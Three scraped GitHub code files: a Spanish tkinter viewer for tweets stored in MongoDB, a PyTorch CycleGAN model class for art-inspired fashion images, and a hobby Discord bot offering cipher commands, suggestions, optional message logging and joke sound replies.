+{"seq_id":"33726177598","text":"from tkinter import*\nfrom tkinter import ttk\nfrom tkinter import messagebox\nfrom collections import Counter\nfrom bson.objectid import ObjectId\nimport conexion\nimport pymongo\n\n\ndef obtener_top_ubicaciones(coleccion, num_locations=3):\n \"\"\"Obtiene las ubicaciones mas comunes\"\"\"\n\n # Agregación para obtener las ubicaciones más usadas\n pipeline = [\n {\"$group\": {\"_id\": \"$userLocation\", \"count\": {\"$sum\": 1}}},\n {\"$sort\": {\"count\": -1}},\n {\"$limit\": num_locations}\n ]\n\n top_locations = list(coleccion.aggregate(pipeline))\n\n return top_locations\n\n\ndef obtener_mas_comunes_fuentes(coleccion, num_sources=3):\n\n\n # Obtener los valores del campo \"tweetSource\"\n tweet_sources = [doc[\"tweetSource\"] for doc in coleccion.find()]\n\n # Calcular las fuentes más comunes\n sources_counter = Counter(tweet_sources)\n most_common_sources = sources_counter.most_common(num_sources)\n\n return most_common_sources\n\n#Sirve para mostrar los datos\ndef mostrarDatos():\n objetoBuscar={} # Crea un objeto de búsqueda vacío\n try:\n #Obtiene la conexion a la bd\n coleccion = conexion.ObtenerConexion()\n\n registros=tabla.get_children()\n for registro in registros:\n tabla.delete(registro) # Borra los registros actuales en la tabla\n for documento in coleccion.find(objetoBuscar):\n # Inserta en la tabla un nuevo registro con el ID y valores seleccionados del documento\n tabla.insert('', 0,text=documento[\"tweetID\"], values=(documento[\"tweetText\"], documento[\"tweetCreated\"], documento[\"userName\"], documento[\"userLocation\"]))\n\n #Obtiene las ubicaciones mas comunes\n ubaciones_top = obtener_top_ubicaciones(coleccion, num_locations=3)\n # Insertar valores en los campos de entrada para ubicaciones\n pais1.delete(0, END)\n pais1.insert(0, f\"{ubaciones_top[0]['_id']} - {ubaciones_top[0]['count']}\")\n\n pais2.delete(0, END)\n pais2.insert(0, f\"{ubaciones_top[1]['_id']} - {ubaciones_top[1]['count']}\")\n\n pais3.delete(0, END)\n pais3.insert(0, f\"{ubaciones_top[2]['_id']} - {ubaciones_top[2]['count']}\")\n\n #Obtiene las fuentes mas comunes\n fuentes_top = obtener_mas_comunes_fuentes(coleccion, num_sources=3)\n # Insertar valores en los campos de entrada para fuentes\n source1.delete(0, END)\n source1.insert(0, f\"{fuentes_top[0][0]} - {fuentes_top[0][1]}\")\n\n source2.delete(0, END)\n source2.insert(0, f\"{fuentes_top[1][0]} - {fuentes_top[1][1]}\")\n\n source3.delete(0, END)\n source3.insert(0, f\"{fuentes_top[2][0]} - {fuentes_top[2][1]}\")\n\n\n except pymongo.errors.ServerSelectionTimeoutError as errorTiempo:\n print(\"Tiempo exedido \"+errorTiempo)\n\n except pymongo.errors.ConnectionFailure as errorConexion:\n print(\"Fallo al conectarse a mongodb \"+errorConexion)\n \n\n#Interaz TK\nventana=Tk()\ntabla = ttk.Treeview(ventana, columns=(\"Text\", \"created\", \"userName\", \"userLocation\"))\ntabla.grid(row=1, column=0, columnspan=2)\n\n# Define los anchos de las columnas\ntabla.column(\"#0\", width=150)\ntabla.column(\"Text\", width=700) \ntabla.column(\"created\", width=150)\ntabla.column(\"userName\", width=150)\ntabla.column(\"userLocation\", width=150)\n\n# Configura los encabezados de las columnas\ntabla.heading(\"#0\", text=\"TWEET ID\")\ntabla.heading(\"Text\", text=\"TEXTO\")\ntabla.heading(\"created\", text=\"FECHA CREACION\")\ntabla.heading(\"userName\", text=\"NOMBRE USUARIO\")\ntabla.heading(\"userLocation\", text=\"UBICACION USUARIO\")\n\n#Boton Ubicacion\nactualizar=Button(ventana,text=\"Ubicaciones mas comunes\",command=\"\",bg=\"green\",fg=\"white\")\nactualizar.grid(row=2,columnspan=2,sticky=W+E)\n\n#Etiqueta 1\nLabel(ventana,text=\"Ubicacion 1:\").grid(row=3,column=0,sticky=W+E)\npais1=Entry(ventana)\npais1.grid(row=3,column=1,sticky=W+E)\n\n#Etiqueta 2\nLabel(ventana,text=\"Ubicacion 2:\").grid(row=4,column=0,sticky=W+E)\npais2=Entry(ventana)\npais2.grid(row=4,column=1,sticky=W+E)\n\n#Etiqueta 3\nLabel(ventana,text=\"Ubicacion 3:\").grid(row=5,column=0,sticky=W+E)\npais3 =Entry(ventana)\npais3.grid(row=5,column=1,sticky=W+E)\n\n#Boton Sources\nactualizar=Button(ventana,text=\"Fuentes mas comunes\",command=\"\",bg=\"green\",fg=\"white\")\nactualizar.grid(row=6,columnspan=2,sticky=W+E)\n\n#Etiqueta 4\nLabel(ventana,text=\"Fuente 1:\").grid(row=7,column=0,sticky=W+E)\nsource1=Entry(ventana)\nsource1.grid(row=7,column=1,sticky=W+E)\n\n#Etiqueta 5\nLabel(ventana,text=\"Fuente 2:\").grid(row=8,column=0,sticky=W+E)\nsource2=Entry(ventana)\nsource2.grid(row=8,column=1,sticky=W+E)\n\n#Etiqueta 6\nLabel(ventana,text=\"Fuente 3:\").grid(row=9,column=0,sticky=W+E)\nsource3 =Entry(ventana)\nsource3.grid(row=9,column=1,sticky=W+E)\n\n#Boton Actualizar\nactualizar=Button(ventana,text=\"Actualizar\",command=mostrarDatos,bg=\"blue\",fg=\"white\")\nactualizar.grid(row=10,columnspan=2,sticky=W+E)\n\nmostrarDatos()\nventana.mainloop()","repo_name":"Jos-mlp/ProyectoTwitter","sub_path":"MostrarDatos.py","file_name":"MostrarDatos.py","file_ext":"py","file_size_in_byte":4870,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"19654002187","text":"import torch\nimport itertools\nimport pandas as pd\nfrom utils.image_pool import ImagePool\nfrom models.base_model import BaseModel\nfrom options.model_specific_options import two_domain_parser_options\nfrom models import networks\nfrom torch.autograd import Variable\nfrom torchvision.utils import save_image\n\nclass cycleGAN(BaseModel):\n\n def __init__(self, args, logger):\n super().__init__(args, logger)\n # specify the training losses you want to print out. The program will call base_model.get_current_losses\n self.loss_names = ['loss_D_A', 'loss_D_B', 'loss_G_A', 'loss_G_B', 'loss_cycle_A', 'loss_cycle_B', 'loss_idt_A' , \n 'loss_idt_B', 'content_loss', 'style_loss', 'loss_rec_fake']\n # specify the images you want to save/display. The program will call base_model.get_current_visuals\n self.model_names = ['G_A', 'G_B', 'D_A', 'D_B']\n self.sample_names = ['fake_A', 'fake_B', 'rec_A', 'rec_B', 'real_A', 'real_B']\n\n use_sigmoid = args.no_lsgan\n\n if True:\n self.G_A = networks.define_G(args.input_nc, args.output_nc,\n args.ngf, args.which_model_netG, args.norm, not args.no_dropout, args.init_type,\n args.init_gain, self.gpu_ids)\n self.G_B = networks.define_G(args.output_nc, args.input_nc,\n args.ngf, args.which_model_netG, args.norm, not args.no_dropout, args.init_type,\n args.init_gain, self.gpu_ids)\n\n\n self.D_A = networks.define_D(args.output_nc, args.ndf, args.which_model_netD,\n args.n_layers_D, args.norm, use_sigmoid, args.init_type, args.init_gain,\n self.gpu_ids)\n self.D_B = networks.define_D(args.input_nc, args.ndf, args.which_model_netD,\n args.n_layers_D, args.norm, use_sigmoid, args.init_type, args.init_gain,\n self.gpu_ids)\n\n else:\n print('Todo load model')\n\n # initialize optimizers\n self.optimizer_G = torch.optim.Adam(itertools.chain(self.G_A.parameters(), self.G_B.parameters()),\n lr=args.g_lr, betas=(args.beta1, args.beta2))\n self.optimizer_D = torch.optim.Adam(itertools.chain(self.D_A.parameters(), self.D_B.parameters()),\n lr=args.d_lr, betas=(args.beta1, args.beta2))\n self.optimizers = []\n self.optimizers.append(self.optimizer_G)\n \n self.optimizers.append(self.optimizer_D)\n \n self.fake_A_pool = ImagePool(args.pool_size)\n self.fake_B_pool = ImagePool(args.pool_size)\n # define loss functions\n self.lambda_content_loss = self.args.lambda_content_loss\n self.lambda_style_loss = self.args.lambda_style_loss\n\n self.criterionGAN = networks.GANLoss(use_lsgan=not args.no_lsgan).to(self.device)\n self.criterionCycle = torch.nn.L1Loss()\n self.criterionIdt = torch.nn.L1Loss()\n self.criterionFakeRec = torch.nn.L1Loss()\n self.style_content_network = networks.Nerual_Style_losses(self.device)\n \n\n def name(self):\n return 'CycleGAN'\n\n @staticmethod\n def modify_commandline_options():\n return two_domain_parser_options()\n\n def set_input(self, input, args):\n AtoB = self.args.which_direction == 'AtoB'\n self.real_A = input[args.A_label if AtoB else args.B_label].to(self.device)\n self.real_B = input[args.B_label if AtoB else args.A_label].to(self.device)\n self.bb = input['Bb'].to(self.device)\n\n def forward(self):\n self.fake_B = self.G_A(self.real_A)\n self.rec_A = self.G_B(self.fake_B)\n\n self.fake_A = self.G_B(self.real_B)\n self.rec_B = self.G_A(self.fake_A)\n\n def backward_D_basic(self, netD, real, fake):\n # Real\n pred_real = netD(real)\n loss_D_real = self.criterionGAN(pred_real, True)\n # Fake\n pred_fake = netD(fake.detach())\n loss_D_fake = self.criterionGAN(pred_fake, False)\n # Combined loss\n loss_D = (loss_D_real + loss_D_fake) * 0.5\n # backward\n loss_D.backward()\n return loss_D\n\n def backward_D_A(self):\n fake_B = self.fake_B_pool.query(self.fake_B)\n self.loss_D_A = self.backward_D_basic(self.D_A, self.real_B, fake_B)\n\n def backward_D_B(self):\n fake_A = self.fake_A_pool.query(self.fake_A)\n self.loss_D_B = self.backward_D_basic(self.D_B, self.real_A, fake_A)\n\n def backward_G(self):\n lambda_idt = self.args.lambda_identity\n lambda_rec_fake = self.args.lambda_rec_fake_identity\n lambda_A = self.args.lambda_A\n lambda_B = self.args.lambda_B\n # Identity loss\n if lambda_idt > 0:\n # G_A should be identity if real_B is fed.\n self.idt_A = self.G_A(self.real_B)\n self.loss_idt_A = self.criterionIdt(self.bb * self.idt_A, self.bb *self.real_B) * lambda_B * lambda_idt\n # G_B should be identity if real_A is fed.\n self.idt_B = self.G_B(self.real_A)\n self.loss_idt_B = self.criterionIdt(self.bb * self.idt_B, self.bb * self.real_A) * lambda_A * lambda_idt\n else:\n self.loss_idt_A = 0\n self.loss_idt_B = 0\n\n\n if lambda_rec_fake > 0:\n tmpA = self.rec_A.clone().detach_()\n tmpB = self.rec_B.clone().detach_()\n\n self.loss_rec_fake_A = self.criterionFakeRec(self.fake_A, tmpA)\n self.loss_rec_fake_B = self.criterionFakeRec(self.fake_B, tmpB)\n self.loss_rec_fake_A = self.loss_rec_fake_A * lambda_A * lambda_rec_fake\n self.loss_rec_fake_B = self.loss_rec_fake_B * lambda_B * lambda_rec_fake\n self.loss_rec_fake = (self.loss_rec_fake_A + self.loss_rec_fake_B)/2\n else:\n self.loss_rec_fake = 0\n\n\n if self.lambda_content_loss > 0 or self.lambda_style_loss > 0:\n self.style_lossA, self.content_lossA = self.calculate_style_content_loss(self.fake_A, self.real_A)\n self.style_lossB, self.content_lossB = self.calculate_style_content_loss(self.fake_B, self.real_B)\n\n self.style_lossA *= self.args.lambda_style_loss * lambda_A\n self.style_lossB *= self.args.lambda_style_loss * lambda_B\n self.content_lossA *= self.lambda_content_loss * lambda_A\n self.content_lossB *= self.lambda_content_loss * lambda_B\n\n self.content_loss = (self.content_lossA + self.content_lossB)/2\n self.style_loss = (self.style_lossA + self.style_lossB)/2\n else:\n self.content_loss = 0\n self.style_loss = 0\n\n # GAN loss D_A(G_A(A))\n self.loss_G_A = self.criterionGAN(self.D_A(self.fake_B), True)\n # GAN loss D_B(G_B(B))\n self.loss_G_B = self.criterionGAN(self.D_B(self.fake_A), True)\n # Forward cycle loss\n self.loss_cycle_A = self.criterionCycle(self.bb * self.rec_A, self.bb * self.real_A) * lambda_A\n # Backward cycle loss\n self.loss_cycle_B = self.criterionCycle(self.bb *self.rec_B, self.bb * self.real_B) * lambda_B\n # combined loss\n self.loss_G = self.loss_G_A + self.loss_G_B + self.loss_cycle_A + self.loss_cycle_B + self.loss_idt_A + \\\n self.loss_idt_B + self.content_loss + self.style_loss + self.loss_rec_fake\n self.loss_G.backward()\n\n\n def calculate_style_content_loss(self, img, target):\n style_loss = self.style_content_network.get_style_loss(img, target)\n content_loss = self.style_content_network.get_content_loss(img, target)\n return style_loss, content_loss\n\n\n def optimize_parameters(self, num_steps, overwite_gen):\n # forward\n self.forward()\n # G_A and G_B\n self.set_requires_grad([self.D_A, self.D_B], False)\n self.optimizer_G.zero_grad()\n self.backward_G()\n self.optimizer_G.step()\n # D_A and D_B\n self.set_requires_grad([self.D_A, self.D_B], True)\n self.optimizer_D.zero_grad()\n self.backward_D_A()\n self.backward_D_B()\n self.optimizer_D.step()\n \n","repo_name":"kjod/ArtInspiredFashionHR","sub_path":"models/cycleGAN/cycleGAN.py","file_name":"cycleGAN.py","file_ext":"py","file_size_in_byte":8343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"35848759714","text":"#Discord bot for running ComplexCipher (and other random stuff).\n\nimport discord\nfrom discord.ext import commands\nimport complexcipher2\nimport logging\nimport time\nimport os\nimport io\nimport random\nimport pickle\n\nlogging.basicConfig(format = '%(levelname)s:%(name)s:(%(asctime)s): %(message)s',\n datefmt = '%d-%b-%y %H:%M:%S',\n level = logging.INFO)\n\n################################################################################\n#Initialization start\n\nbot = commands.Bot('~')\ntoken = '' #Manually add token here.\ndicts = {}\nguilds = {}\nchannels = {}\nignored_users = []\nmaintenance = False\nbot.remove_command('help')\n\nif token == '': #Get token if it's not already in the code.\n try:\n file = open('token.txt')\n token = file.read()\n file.close()\n logging.info(\"Token acquired from file.\")\n except FileNotFoundError:\n logging.warning(\"Token file not found.\")\n try:\n token = os.environ['CIB_TOKEN']\n logging.info(\"Token acquired from environment variable.\")\n except KeyError:\n logging.warning(\"Token environment variable not found.\")\n logging.error(\"Token auto detection failed. Stopping execution.\")\n input(\"Press enter to quit.\")\n quit()\nelse:\n logging.info(\"Token acquired from code.\")\n\nwith open('config.txt') as file: #Load stored items into memory.\n for line in file:\n line = line.strip()\n if line.startswith('[') and line.endswith(']'):\n section = line[1:-1]\n continue\n line = line.split('=', maxsplit = 1)\n try:\n if section == 'DICTIONARIES':\n id = int(line[0].strip())\n dict = line[1].strip()\n dicts[id] = dict\n if section == 'GUILDS':\n name = line[0].strip()\n id = int(line[1].split('\"')[1])\n guilds[id] = name\n if section == 'CHANNELS':\n name = line[0].strip()\n id = int(line[1].split('\"')[1])\n channels[name] = id\n if section == 'IGNORED':\n ignored_users.append(int(line[0].strip()))\n except (IndexError, ValueError):\n continue\nlogging.info(\"Guilds, channels, and dictionaries initialized.\")\n\nlogged = [int(guild) for guild in os.listdir('logs_active')]\nlogging.info(\"Logging messages in {0} guilds\".format(len(logged)))\n\n#Initialization end\n################################################################################\n#Helper functions start\n\ndef decode_log(log):\n entries = []\n cache = {}\n\n for entry in log:\n items = []\n\n if entry['version'] == 1:\n if entry['channel_id'] not in cache:\n cache[entry['channel_id']] = bot.get_channel(entry['channel_id'])\n\n if entry['author_id'] not in cache:\n cache[entry['author_id']] = bot.get_user(entry['author_id'])\n\n if cache[entry['channel_id']] is None:\n entry_channel_name = '#' + entry['channel_name'] + 'as seen'\n else:\n entry_channel_name = '#' + cache[entry['channel_id']].name\n\n if cache[entry['author_id']] is None:\n entry_author_name = entry['author_name'] + 'as seen'\n else:\n entry_author_name = cache[entry['author_id']].name\n\n items.append(str(entry['timestamp']))\n items.append(str(entry['message_id']))\n items.append(entry_channel_name)\n items.append(entry_author_name)\n items.append(entry['content'])\n\n else:\n raise NotImplementedError('Invalid entry version {0}'.format(entry['version']))\n\n entries.append(items)\n\n return entries\n\n#Helper functions end\n################################################################################\n#Commands start\n\n@bot.command() #Command to display help.\nasync def help(ctx):\n buffer = '''```\n CIPHER FUNCTIONS\n ~e - Encode text\n ~d - Decode text\n\n SUGGESTION FUNCTIONS\n ~suggest - Add suggestion to list\n ~suggestions <*parameters>\n view - View current suggestions\n clear - Clear all current suggestions\n remove - Remove suggestions tagged X, Y, Z,...\n ```'''\n await ctx.send(buffer)\n logging.info(\"Displayed help for {0}.\".format(ctx.message.author))\n\n@bot.command() #Command to change operating channel for cipher functions.\nasync def setchannel(ctx):\n try:\n content = ctx.message.content.split(' ', maxsplit = 1)[1]\n except IndexError:\n content = 'current'\n buffer = ''\n writeG = False\n writeC = False\n if content == 'current':\n guilds[ctx.message.guild.id] = ctx.message.guild\n channels[ctx.message.guild] = ctx.message.channel.id\n with open('config.txt', 'r') as file:\n overwrite = False\n for line in file:\n if line.split('=', maxsplit = 1)[0].strip() == ctx.message.guild.name:\n overwrite = True\n with open('config.txt', 'r') as file:\n for line in file:\n line = line.strip()\n if line.startswith('[') and line.endswith(']'):\n section = line[1:-1]\n if section == 'GUILDS' and overwrite == False:\n writeG = True\n elif section == 'CHANNELS' and overwrite == False:\n writeC = True\n if line.split('=', maxsplit = 1)[0].strip() == ctx.message.guild.name and section == 'GUILDS':\n buffer += '{0} = \"{1}\"\\n'.format(ctx.message.guild.name, ctx.message.guild.id)\n continue\n elif line.split('=', maxsplit = 1)[0].strip() == ctx.message.guild.name and section == 'CHANNELS':\n buffer += '{0} = \"{1}\" #{2}\\n'.format(ctx.message.guild.name, ctx.message.channel.id, ctx.message.channel.name)\n continue\n buffer += line + '\\n'\n if writeG:\n buffer += '{0} = \"{1}\"\\n'.format(ctx.message.guild.name, ctx.message.guild.id)\n writeG = False\n elif writeC:\n buffer += '{0} = \"{1}\" #{2}\\n'.format(ctx.message.guild.name, ctx.message.channel.id, ctx.message.channel.name)\n writeC = False\n with open('config.txt', 'w') as file:\n file.write(buffer)\n logging.info(\"Channel added - Guild: {0}; Channel: #{1}.\".format(ctx.message.guild, ctx.message.channel))\n await ctx.send('Set channel #{0} as output channel.'.format(ctx.message.channel))\n return\n\n@bot.command() #Command to encode text.\nasync def e(ctx):\n try:\n msgtime = time.strftime('[%H:%M:%S UTC]', time.gmtime())\n content = ctx.message.content.split(' ', maxsplit = 1)[1]\n logging.info(\"Processing encode request from {0}.\".format(ctx.message.author))\n msg = '{0} {1.message.author.mention} asked to encode `{2}` in #{1.message.channel}.'.format(msgtime, ctx, content)\n try:\n dict = dicts[ctx.message.author.id]\n except KeyError:\n dict = None\n msg += '\\nWARNING: No dictionary is linked to this account. Using standard dictionary.'\n try:\n msg += '\\n```{0}```'.format(complexcipher2.encode(content, dict))\n except:\n await ctx.send('An internal error occurred. You may have used an unsupported character.')\n return\n await dest_channel.send(msg)\n return\n except IndexError:\n await ctx.send('Invalid syntax. Usage: ~e ')\n return\n\n@bot.command() #Command to decode text.\nasync def d(ctx):\n try:\n msgtime = time.strftime('[%H:%M:%S UTC]', time.gmtime())\n content = ctx.message.content.split(' ', maxsplit = 1)[1]\n logging.info(\"Processing decode request from {0}.\".format(ctx.message.author))\n msg = '{0} {1.message.author.mention} asked to decode `{2}` in #{1.message.channel}.'.format(msgtime, ctx, content)\n try:\n dict = dicts[ctx.message.author.id]\n except KeyError:\n dict = None\n msg += '\\nWARNING: No dictionary is linked to this account. Using standard dictionary.'\n try:\n msg += '\\n```{0}```'.format(complexcipher2.decode(content, dict))\n except:\n await ctx.send('An internal error occurred. The cipher may be corrupted or you may not have the correct dictionary.')\n return\n await dest_channel.send(msg)\n return\n except IndexError:\n await ctx.send('Invalid syntax. Usage: ~d ')\n return\n\n@bot.command()\nasync def key(ctx):\n try:\n content = ctx.message.content.split(' ', maxsplit = 2)\n logging.info(\"Processing dict change request from {0}.\".format(ctx.message.author))\n write_new_dict = False\n\n if content[1] == 'generate':\n new_dict = complexcipher2.generate_dictionary()\n write_new_dict = True\n msg = 'A new dictionary has been generated and linked to your account.'\n msg += '\\nYour dictionary is: `{0}`'.format(new_dict)\n\n if content[1] == 'link':\n new_dict = content[2]\n if complexcipher2.check_dictionary(new_dict):\n write_new_dict = True\n msg = 'Dictionary was successfully linked to your account.'\n else:\n msg = 'Invalid dictionary. Check for copying errors or generate a new one.'\n\n if write_new_dict:\n dicts[ctx.message.author.id] = new_dict\n buffer = ''\n with open('config.txt', 'r') as file:\n for line in file:\n line = line.strip()\n if line.startswith('[') and line.endswith(']'):\n section = line[1:-1]\n if section == 'DICTIONARIES':\n write = True\n check = True\n else:\n check = False\n if check and line.split('=')[0].strip() == str(ctx.message.author.id):\n pass\n else:\n buffer += line + '\\n'\n if write:\n buffer += '{0} = {1}\\n'.format(ctx.message.author.id, new_dict)\n write = False\n with open('config.txt', 'w') as file:\n file.write(buffer)\n logging.info(\"New dict successfully added to file.\")\n\n await ctx.send(msg)\n return\n except IndexError:\n await ctx.send('Invalid syntax. Usage: ~d ')\n return\n\n@bot.command() #Command to accept suggestions.\nasync def suggest(ctx):\n content = ctx.message.content.split(' ', maxsplit = 1)[1]\n buffer = ''\n write = False\n with open('config.txt', 'r') as file:\n for line in file:\n line = line.strip()\n if line.startswith('[') and line.endswith(']'):\n section = line[1:-1]\n if section == 'SUGGESTIONS':\n write = True\n buffer += line + '\\n'\n if write:\n buffer += '{0} = \"{1}\"\\n'.format(ctx.message.guild.id, content)\n write = False\n with open('config.txt', 'w') as file:\n file.write(buffer)\n await ctx.send('Your suggestion has been recorded.')\n logging.info(\"Suggestion added in {0}.\".format(ctx.message.guild))\n return\n\n@bot.command() #Command to manage suggestions.\nasync def suggestions(ctx):\n try:\n content = ctx.message.content.split(' ', maxsplit = 2)[1]\n\n if content == 'view': #Subcommand to view existing suggestions for the guild.\n buffer = '```\\n'\n seq = 'A'\n with open('config.txt', 'r') as file:\n for line in file:\n line = line.strip()\n if line.startswith('[') and line.endswith(']'):\n section = line[1:-1]\n if section != 'SUGGESTIONS':\n continue\n line = line.split('=', maxsplit = 1)\n if line[0].strip() == str(ctx.message.guild.id):\n buffer += '{0}: {1}\\n'.format(seq, line[1].strip())\n seq = chr(ord(seq) + 1)\n if buffer == '```\\n':\n await ctx.send('No current suggestions. Use ~suggest to add new ones.')\n return\n msg = await ctx.send('Current suggestions:\\n' + buffer + '```')\n seq = ord(seq)\n seq_i = 'A'\n while seq > 65:\n emoji = discord.utils.get(bot.emojis, name = 'letter_{0}'.format(seq_i))\n await msg.add_reaction(emoji)\n seq -= 1\n seq_i = chr(ord(seq_i) + 1)\n logging.info(\"Displayed suggestions in {0}.\".format(ctx.message.guild))\n return\n\n elif content == 'clear': #Subcommand to clear all existing suggestions for the guild.\n buffer = ''\n with open('config.txt', 'r') as file:\n for line in file:\n line = line.strip()\n if line.startswith('[') and line.endswith(']'):\n section = line[1:-1]\n if section == 'SUGGESTIONS' and line.split('=', maxsplit = 1)[0].strip() == str(ctx.message.guild.id):\n continue\n buffer += line + '\\n'\n with open('config.txt', 'w') as file:\n file.write(buffer)\n await ctx.send('Suggestions cleared.')\n logging.info(\"Cleared suggestions in {0}.\".format(ctx.message.guild))\n return\n\n elif content == 'remove': #Subcommand to remove specific suggestions for the guild.\n buffer = ''\n r_list = ctx.message.content.split(' ', maxsplit = 2)[2].split(', ')\n seq = 65\n for i in range(0, len(r_list)):\n r_list[i] = ord(r_list[i].upper())\n with open('config.txt', 'r') as file:\n for line in file:\n line = line.strip()\n if line.startswith('[') and line.endswith(']'):\n section = line[1:-1]\n if section == 'SUGGESTIONS' and line.split('=', maxsplit = 1)[0].strip() == str(ctx.message.guild.id):\n if seq in r_list:\n seq += 1\n continue\n seq += 1\n buffer += line + '\\n'\n with open('config.txt', 'w') as file:\n file.write(buffer)\n await ctx.send('Suggestions removed.')\n logging.info(\"Removed suggestions in {0}.\".format(ctx.message.guild))\n return\n\n else:\n await ctx.send('Invalid syntax. Usage: ~suggestions <*parameters>')\n return\n\n except IndexError:\n await ctx.send('Invalid syntax. Usage: ~suggestions <*parameters>')\n return\n\n@bot.command() #Command to manage logging.\nasync def logs(ctx):\n try:\n content = ctx.message.content.split(' ', maxsplit = 2)[1]\n active_loc = 'logs_active/{0}'.format(ctx.message.guild.id)\n archive_loc = 'logs_archive/{0}'.format(ctx.message.guild.id)\n\n if content == 'enable': #Subcommand to enable logging for the guild.\n if str(ctx.message.guild.id) in os.listdir('logs_active'):\n await ctx.send('Logging is already enabled for this guild')\n return\n elif str(ctx.message.guild.id) in os.listdir('logs_archive'):\n os.rename(archive_loc, active_loc)\n else:\n with open(active_loc, 'wb') as file:\n pickle.dump([], file)\n logged.append(ctx.message.guild.id)\n await ctx.send('Logging successfully enabled')\n logging.info('Logging enabled for {0}'.format(ctx.message.guild.name))\n return\n\n if content == 'disable': #Subcommand to disable logging for the guild.\n if str(ctx.message.guild.id) not in os.listdir('logs_active'):\n await ctx.send('Logging is not enabled for this guild')\n return\n os.rename(active_loc, archive_loc)\n logged.remove(ctx.message.guild.id)\n await ctx.send('Logging successfully disabled for this guild')\n logging.info('Logging disabled for {0}'.format(ctx.message.guild.name))\n return\n\n if content == 'export': #Subcommand to dump the guild log as a text file\n if str(ctx.message.guild.id) in os.listdir('logs_active'):\n tgt_file = active_loc\n elif str(ctx.message.guild.id) in os.listdir('logs_archive'):\n tgt_file = archive_loc\n else:\n await ctx.send('No log exists for this guild')\n return\n with open(tgt_file, 'rb') as file:\n log = pickle.load(file)\n out = '\\n'.join(','.join(item.replace(',', '').replace('\\n', ' ')\n for item in entry) for entry in decode_log(log))\n await ctx.send(file=discord.File(io.StringIO(out), '{0}.csv'.format(time.time())))\n logging.info('Logs dumped for {0}'.format(ctx.message.guild.name))\n return\n \n except IndexError:\n await ctx.send('Invalid syntax. Usage: ~logs ')\n return\n\n@bot.command() #Command to ignore users.\nasync def ignore(ctx):\n if ctx.author.id not in ignored_users:\n ignored_users.append(ctx.author.id)\n with open('config.txt', 'r') as file:\n buffer = ''\n for line in file:\n write_user = False\n line = line.strip()\n if line.startswith('[') and line.endswith(']'):\n section = line[1:-1]\n if section == 'IGNORED':\n write_user = True\n buffer += line + '\\n'\n if write_user:\n buffer += '{0}\\n'.format(ctx.author.id)\n with open('config.txt', 'w') as file:\n file.write(buffer)\n logging.info('Ignoring {0}'.format(ctx.author.id))\n await ctx.send('I will ignore you from now on unless you use a command.')\n else:\n ignored_users.remove(ctx.author.id)\n with open('config.txt', 'r') as file:\n buffer = ''\n for line in file:\n line = line.strip()\n if line.startswith('[') and line.endswith(']'):\n section = line[1:-1]\n if section == 'IGNORED':\n try:\n if int(line) == ctx.author.id:\n continue\n except ValueError:\n pass\n buffer += line + '\\n'\n with open('config.txt', 'w') as file:\n file.write(buffer)\n logging.info('Not ignoring {0}'.format(ctx.author.id))\n await ctx.send('I will not ignore you anymore :D') \n\n#Commands end\n################################################################################\n\n@bot.event\nasync def on_message(message):\n try:\n if message.guild.id in logged: #Log message if needed\n content = message.clean_content\n for attachment in message.attachments:\n content += '\\nATTACHMENT: {0.filename} ({0.url})'.format(attachment)\n with open('logs_active/{0}'.format(message.guild.id), 'rb') as file:\n log = pickle.load(file)\n log.append({\n 'version': 1,\n 'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'),\n 'message_id': message.id,\n 'channel_id': message.channel.id,\n 'channel_name': message.channel.name,\n 'author_id': message.author.id,\n 'author_name': message.author.display_name,\n 'content': content,\n })\n with open('logs_active/{0}'.format(message.guild.id), 'wb') as file:\n pickle.dump(log, file)\n except:\n logging.warning('Attempt to log message failed in {0}'.format(message.guild.id))\n\n if message.author == bot.user:\n return\n\n channel = message.channel\n\n if message.content.split(' ')[0] == '~maintenance':\n try:\n global maintenance #Maintenance mode toggle checking.\n if message.content.split(' ', maxsplit = 1)[1] == 'enable':\n maintenance = True\n logging.warning('Maintenance mode is enabled.')\n await bot.change_presence(activity = discord.Game(name = 'Maintenance mode'))\n await channel.send('Maintenance mode is enabled.')\n return\n if message.content.split(' ', maxsplit = 1)[1] == 'disable':\n maintenance = False\n logging.warning('Maintenance mode is disabled.')\n await bot.change_presence(activity = discord.Game(name = 'Making ciphers circa 2018'))\n await channel.send('Maintenance mode is disabled.')\n return\n except IndexError:\n pass\n\n if maintenance == True:\n return\n\n global dest_channel\n try:\n global dest_channel #Determining message destination.\n if isinstance(channel, discord.abc.PrivateChannel):\n guild = 'DM'\n dest_channel = bot.get_channel(channel.id)\n else:\n guild = guilds[message.guild.id]\n dest_channel = bot.get_channel(channels[guild])\n except KeyError: #Guild does not exist in config file.\n guild = message.guild.name\n dest_channel = bot.get_channel(channel.id)\n\n if message.author.id not in ignored_users:\n greetings = ['hello', 'hey', 'hi']\n msg_words = message.content.lower().split()\n if any(greeting in msg_words for greeting in greetings) and len(msg_words) <= 5:\n msg = \"{0} :wave:\".format(random.choice(greetings).capitalize())\n await message.channel.send(msg)\n return\n\n if message.content.lower() in ('bruh', 'ohhh'):\n #Thanks to NQN for the webhooks idea\n webhooks = await message.channel.webhooks()\n webhook = discord.utils.get(webhooks, name = 'Imposter CIB')\n if webhook is None:\n webhook = await message.channel.create_webhook(name = 'Imposter CIB')\n await webhook.send(\n file = discord.File('{0}.mp3'.format(message.content.lower())),\n username = message.author.display_name, \n avatar_url = message.author.avatar_url,\n )\n await message.delete()\n return\n\n if 'bruh' in message.content.lower(): #bruh\n await message.channel.send(file=discord.File('bruh.mp3'))\n\n if 'ohhh' in message.content.lower(): #ohhh\n await message.channel.send(file=discord.File('ohhh.mp3'))\n\n await bot.process_commands(message)\n\n@bot.event\nasync def on_ready():\n logging.info('Logged in as {0.name} (ID: {0.id})'.format(bot.user))\n logging.info('Running ComplexCipher {0}.'.format(complexcipher2.VERSION))\n await bot.change_presence(activity = discord.Game(name = 'Making ciphers circa 2018'))\n\nif __name__ == '__main__':\n bot.run(token)\n","repo_name":"OxyMagnesium/ComplexCipher","sub_path":"cipherinterpreterbot.py","file_name":"cipherinterpreterbot.py","file_ext":"py","file_size_in_byte":24028,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
